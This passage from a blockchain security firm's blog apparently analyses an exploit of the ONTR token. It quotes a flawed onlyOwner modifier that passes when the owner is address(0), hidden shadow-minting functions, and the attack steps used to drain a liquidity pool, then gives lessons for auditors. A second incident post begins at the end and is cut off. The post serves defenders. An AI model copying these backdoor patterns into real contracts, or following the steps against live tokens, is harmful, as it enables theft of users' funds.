data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dd958e4c-c0bf-480e-8e25-47a49175e314_855x851.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:851,&quot;width&quot;:855,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:731360,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/200260273?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd958e4c-c0bf-480e-8e25-47a49175e314_855x851.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1dF-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd958e4c-c0bf-480e-8e25-47a49175e314_855x851.png 424w, https://substackcdn.com/image/fetch/$s_!1dF-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd958e4c-c0bf-480e-8e25-47a49175e314_855x851.png 848w, https://substackcdn.com/image/fetch/$s_!1dF-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd958e4c-c0bf-480e-8e25-47a49175e314_855x851.png 1272w, https://substackcdn.com/image/fetch/$s_!1dF-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd958e4c-c0bf-480e-8e25-47a49175e314_855x851.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>Here&#8217;s where it gets interesting. The <code>require</code> statement contains an <strong>OR</strong> condition: <code>hazeDeer == address(0) || hazeDeer == _msgSender()</code>. This means the check passes in <strong>two</strong> scenarios:</p><ol><li><p><strong>The caller is the owner</strong> - this is the intended behavior</p></li><li><p><strong>The owner is the zero address</strong> - this is the vulnerability</p></li></ol><p>The on-chain evidence is unambiguous: the contract creator <strong>deliberately renounced</strong> ownership to <code>address(0)</code> at deployment. This wasn&#8217;t a missing initialization - it was an intentional action. But combined with the flawed modifier, renouncing ownership didn&#8217;t lock out admin functions. It <strong>unlocked them for everyone</strong>.</p><p>The contrast with the <em>real</em> OpenZeppelin <code>Ownable</code> is stark:</p><pre><code><code>// Secure: Real OpenZeppelin Ownable - renouncing LOCKS admin functions
modifier onlyOwner() {
    if (owner() != _msgSender()) {
        revert OwnableUnauthorizedAccount(_msgSender());
    }
    _;
}
// After renounceOwnership &#8594; owner = address(0) &#8594; address(0) != msg.sender &#8594; REVERTS
</code></code></pre><pre><code><code>// Vulnerable: ONTR's custom Ownable - renouncing OPENS admin functions
modifier onlyOwner() {
    require(hazeDeer == address(0) || hazeDeer == _msgSender());
    _;
}
// After renounceOwnership &#8594; hazeDeer = address(0) &#8594; address(0) == address(0) &#8594; PASSES!
</code></code></pre><p>In the real OpenZeppelin <code>Ownable</code>, renouncing ownership sets <code>owner</code> to <code>address(0)</code>, and since <code>address(0) != msg.sender</code> for any real caller, all admin functions become permanently locked. That&#8217;s the correct behavior. In ONTR&#8217;s custom version, the extra <code>|| hazeDeer == address(0)</code> condition means renouncing ownership has the <em>opposite</em> effect - it makes admin functions callable by anyone. The obfuscated variable name <code>hazeDeer</code> instead of <code>_owner</code> is just icing on the cake - an attempt to make the code harder to audit.</p><h2><strong>Step-by-Step: The Attack</strong></h2><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GcEi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fabf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GcEi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fabf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png 424w, https://substackcdn.com/image/fetch/$s_!GcEi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fabf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png 848w, https://substackcdn.com/image/fetch/$s_!GcEi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fabf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png 1272w, https://substackcdn.com/image/fetch/$s_!GcEi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fabf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GcEi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fabf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png" width="859" height="842" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/abf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:842,&quot;width&quot;:859,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:939077,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/200260273?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fabf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GcEi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fabf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png 424w, https://substackcdn.com/image/fetch/$s_!GcEi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fabf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png 848w, https://substackcdn.com/image/fetch/$s_!GcEi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fabf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png 1272w, https://substackcdn.com/image/fetch/$s_!GcEi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fabf5640c-d155-4f23-a0c0-bcc0bbb645cc_859x842.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><ol><li><p><strong>Deploy Attack Contract</strong> - The attacker at <code>0xe806...b760</code> deployed a malicious contract approximately <strong>2 hours after</strong> the ONTR token was created and ownership was renounced. They likely spotted the renouncement event and analyzed the modifier logic.</p></li><li><p><strong>Claim Ownership via </strong><code>transferOwnership()</code> - Since the creator had renounced ownership (<code>owner == address(0)</code>), the <code>onlyOwner</code> modifier was trivially bypassed. The attacker called <code>transferOwnership()</code> to set their own contract as the new owner. No keys stolen, no social engineering - just calling a public function that the renouncement was <em>supposed</em> to have locked forever.</p></li><li><p><strong>Queue Hidden Balances via </strong><code>desertJasper()</code> - Now the legitimate owner, the attacker called <code>desertJasper()</code>, an obscurely-named function that writes arbitrary values into an internal <code>_queue</code> mapping. This function accepts arrays of target addresses and balance values, effectively staging the balance inflation.</p></li><li><p><strong>Execute Balance Inflation via </strong><code>glenFlash()</code><strong> &#8594; </strong><code>ashBud()</code> - The attacker then called <code>glenFlash()</code>, which internally invokes <code>ashBud()</code>. This function copies the queued values directly into <code>_balances</code> - <strong>without updating </strong><code>totalSupply</code>. The attacker&#8217;s balance was inflated by <strong>10^30 base units</strong> of ONTR tokens, all invisible to the <code>totalSupply</code> variable.</p></li><li><p><strong>Transfer Inflated Tokens to Liquidity Pool</strong> - The attacker transferred the freshly minted (or rather, fabricated) ONTR tokens to the PancakePair liquidity pool contract that held the ONTR/WETH pair.</p></li><li><p><strong>Swap for WETH and Profit</strong> - Finally, the attacker executed a swap against the liquidity pool, draining <strong>49.4801 WETH</strong> (~$98,315) in exchange for the worthless inflated tokens.</p></li></ol><p>The entire attack was executed in a single transaction, leaving no time for monitoring systems to react before the funds were gone.</p><h2><strong>Code Analysis</strong></h2><p>The exploit chain involved three key functions working in concert. Let&#8217;s examine each one:</p><h3><strong>The Gateway: </strong><code>transferOwnership()</code></h3><p>From the actual ONTR source (<code>Ownable.sol</code>):</p><pre><code><code>function transferOwnership(address tideFlint) public virtual onlyOwner {
    require(tideFlint != address(0));
    smokeAxe(tideFlint);
}

function smokeAxe(address tideFlint) internal virtual {
    address oliveLight = hazeDeer;
    hazeDeer = tideFlint;
    emit OwnershipTransferred(oliveLight, tideFlint);
}
</code></code></pre><p>This function <em>should</em> have been permanently locked after the creator renounced ownership. But with <code>hazeDeer == address(0)</code> and the flawed modifier treating that as a pass-all condition, the attacker simply called it with their own contract address - instant ownership of a contract that was supposed to be &#8220;ownerless.&#8221;</p><h3><strong>The Staging: </strong><code>desertJasper()</code></h3><p>From the actual ONTR source (<code>IERC20Metadata.sol</code>):</p><pre><code><code>function desertJasper(address starField, uint256 meadowWood) public onlyOwner {
    require(roseBanner(_msgSender()));
    require(clearCherry == address(0) || starField != clearCherry);
    require(starField != address(0));

    marchTree[harborCoil] = bufferMyrtle(address(0), starField, meadowWood, block.timestamp);
    if (meadowWood &gt; 0) {
        moorSouth.push(harborCoil); // Stages balance inflation entries
    }
    vortexMesa.push(harborCoil);
    harborCoil++;
}
</code></code></pre><p>This function writes to internal mappings using completely obfuscated names - <code>marchTree</code>, <code>harborCoil</code>, <code>bufferMyrtle</code>, <code>moorSouth</code>, <code>vortexMesa</code>. But strip away the wordplay and the logic is clear: it queues a target address (<code>starField</code>) with a balance value (<code>meadowWood</code>) for later execution. The <code>moorSouth</code> array acts as a queue of pending balance inflations.</p><h3><strong>The Trigger: </strong><code>glenFlash()</code><strong> &#8594; </strong><code>ashBud()</code></h3><pre><code><code>function glenFlash() external { // NOTE: No onlyOwner modifier!
    uint256 sandFern = moorSouth.length;

    for (uint256 storkWind = 0; storkWind &lt; sandFern; storkWind++) {
        uint256 riverDawn = moorSouth[storkWind];
        bufferMyrtle storage mapleTusk = marchTree[riverDawn];

        ashBud(mapleTusk.starField, mapleTusk.meadowWood); // Inflates balance
    }

    delete moorSouth;
}
</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gLmq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e3d3d9-0332-4ef4-b492-fad07f3af956_857x856.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gLmq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e3d3d9-0332-4ef4-b492-fad07f3af956_857x856.png 424w, https://substackcdn.com/image/fetch/$s_!gLmq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e3d3d9-0332-4ef4-b492-fad07f3af956_857x856.png 848w, https://substackcdn.com/image/fetch/$s_!gLmq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e3d3d9-0332-4ef4-b492-fad07f3af956_857x856.png 1272w, https://substackcdn.com/image/fetch/$s_!gLmq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e3d3d9-0332-4ef4-b492-fad07f3af956_857x856.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gLmq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e3d3d9-0332-4ef4-b492-fad07f3af956_857x856.png" width="857" height="856" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b2e3d3d9-0332-4ef4-b492-fad07f3af956_857x856.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:856,&quot;width&quot;:857,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:832693,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/200260273?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e3d3d9-0332-4ef4-b492-fad07f3af956_857x856.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gLmq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e3d3d9-0332-4ef4-b492-fad07f3af956_857x856.png 424w, https://substackcdn.com/image/fetch/$s_!gLmq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e3d3d9-0332-4ef4-b492-fad07f3af956_857x856.png 848w, https://substackcdn.com/image/fetch/$s_!gLmq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e3d3d9-0332-4ef4-b492-fad07f3af956_857x856.png 1272w, https://substackcdn.com/image/fetch/$s_!gLmq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e3d3d9-0332-4ef4-b492-fad07f3af956_857x856.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xQRo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60b69d35-fbcb-46ff-b237-4873af0af11a_856x845.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xQRo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60b69d35-fbcb-46ff-b237-4873af0af11a_856x845.png 424w, https://substackcdn.com/image/fetch/$s_!xQRo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60b69d35-fbcb-46ff-b237-4873af0af11a_856x845.png 848w, https://substackcdn.com/image/fetch/$s_!xQRo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60b69d35-fbcb-46ff-b237-4873af0af11a_856x845.png 1272w, https://substackcdn.com/image/fetch/$s_!xQRo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60b69d35-fbcb-46ff-b237-4873af0af11a_856x845.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xQRo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60b69d35-fbcb-46ff-b237-4873af0af11a_856x845.png" width="856" height="845" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/60b69d35-fbcb-46ff-b237-4873af0af11a_856x845.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:845,&quot;width&quot;:856,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:795448,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/200260273?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60b69d35-fbcb-46ff-b237-4873af0af11a_856x845.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!xQRo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60b69d35-fbcb-46ff-b237-4873af0af11a_856x845.png 424w, https://substackcdn.com/image/fetch/$s_!xQRo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60b69d35-fbcb-46ff-b237-4873af0af11a_856x845.png 848w, https://substackcdn.com/image/fetch/$s_!xQRo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60b69d35-fbcb-46ff-b237-4873af0af11a_856x845.png 1272w, https://substackcdn.com/image/fetch/$s_!xQRo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60b69d35-fbcb-46ff-b237-4873af0af11a_856x845.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>Notice a critical detail: <code>glenFlash()</code><strong> has no </strong><code>onlyOwner</code><strong> modifier</strong> - it&#8217;s callable by anyone. It iterates through the <code>moorSouth</code> queue and calls <code>ashBud()</code> for each entry, which directly overwrites <code>_balances</code> <strong>without updating </strong><code>totalSupply</code>. This means:</p><ul><li><p>The inflated tokens appear in the balance mapping but the total supply remains unchanged</p></li><li><p>Standard monitoring tools checking <code>totalSupply</code> anomalies would see nothing wrong</p></li><li><p>The ERC-20 interface reports the attacker&#8217;s balance as valid, so DEX swaps execute normally</p></li></ul><p>This is a textbook example of <strong>shadow minting</strong> - creating tokens that exist only in the balance mapping, invisible to supply-tracking mechanisms but fully functional for transfers and swaps.</p><h2><strong>Lessons Learned</strong></h2><ul><li><p><strong>Never use </strong><code>address(0)</code><strong> as a bypass condition in access control.</strong> The <code>onlyOwner</code> modifier should <em>never</em> include <code>owner == address(0)</code> as a passing condition. Renouncing ownership to <code>address(0)</code> is meant to <strong>permanently lock</strong> admin functions - not open them to everyone. Use OpenZeppelin&#8217;s <code>Ownable</code> where <code>renounceOwnership()</code> makes all <code>onlyOwner</code> functions unreachable.</p></li><li><p><strong>Understand the interaction between renouncement and custom modifiers.</strong> The ONTR creator likely believed renouncing ownership would make the contract immutable. Instead, the custom modifier logic turned renouncement into an open backdoor. If rolling custom access control, test every edge case - especially the <code>address(0)</code> owner state.</p></li><li><p><strong>Use battle-tested libraries - don&#8217;t roll your own.</strong> OpenZeppelin&#8217;s <code>Ownable</code> handles initialization, renouncement, and transfer correctly out of the box. Custom ownership implementations introduce unnecessary risk, as this incident brutally demonstrates.</p></li><li><p><strong>Obfuscated function names are not security.</strong> Names like <code>desertJasper()</code>, <code>glenFlash()</code>, and <code>ashBud()</code> don&#8217;t hide functionality from attackers. Decompilers and static analysis tools don&#8217;t care about names - they follow the logic. Security through obscurity is no security at all.</p></li><li><p><strong>Direct balance manipulation functions are a critical red flag.</strong> Any function that writes directly to <code>_balances</code> without corresponding <code>totalSupply</code> updates should trigger an immediate audit finding. These patterns are frequently used in honeypot tokens and rug pulls.</p></li><li><p><strong>Audit coverage must include all modifier logic.</strong> Access control modifiers are the gatekeepers of privileged functions. A single flawed modifier can cascade into compromise of every function that depends on it. Auditors should treat modifier edge cases (zero address, overflow, reentrancy) with the same rigor as core business logic.</p></li></ul><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.verichains.io/subscribe?"><span>Subscribe now</span></a></p><h2><strong>Conclusion</strong></h2><p>The ONTR exploit is a masterclass in unintended consequences. The contract creator renounced ownership - a gesture meant to inspire community trust - and in doing so, unknowingly activated the very backdoor that allowed an attacker to steal $98K just two hours later. No flash loans, no oracle manipulation, no cross-chain bridge complexity - just a flawed <code>require</code> statement that turned the concept of &#8220;renounced ownership&#8221; on its head.</p><p>A single <code>|| owner == address(0)</code> turned a lock into a key.</p><p>This incident underscores a principle that the DeFi ecosystem keeps learning the hard way: <strong>access control is not optional - it&#8217;s survival</strong>. Renouncing ownership should mean &#8220;nobody can touch this.&#8221; In ONTR&#8217;s case, it meant &#8220;<em>everybody</em> can touch this.&#8221; Using battle-tested libraries like OpenZeppelin&#8217;s <code>Ownable</code>, understanding the security implications of every modifier edge case, and subjecting custom access control logic to rigorous audit scrutiny are not best practices - they are the minimum bar for deploying contracts that hold other people&#8217;s money.</p><p>In DeFi, good intentions don&#8217;t guarantee good security. Only correct code does.</p><p></p>]]></content:encoded></item><item><title><![CDATA[Aurellion Labs Hack Analysis: Diamond Proxy Uninitialized Facet Exploit ]]></title><description><![CDATA[On May 12, 2026, Aurellion Labs, an Arbitrum-based DeFi protocol, suffered a security incident resulting in a loss of approximately $456K USDC.]]></description><link>https://blog.verichains.io/p/aurellion-labs-hack-analysis-diamond</link><guid isPermaLink="false">https://blog.verichains.io/p/aurellion-labs-hack-analysis-diamond</guid><dc:creator><![CDATA[HL]]></dc:creator><pubDate>Tue, 19 May 2026 09:01:11 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!IwK9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Overview</h2><p>On May 12, 2026, <strong>Aurellion Labs</strong>, an Arbitrum-based DeFi protocol, suffered a security incident resulting in a loss of approximately <strong>$456K USDC</strong>. The root cause was an incomplete facet upgrade: the protocol's own owner had previously added a new <code>SafeOwnable</code> facet to the <strong>EIP-2535 Diamond 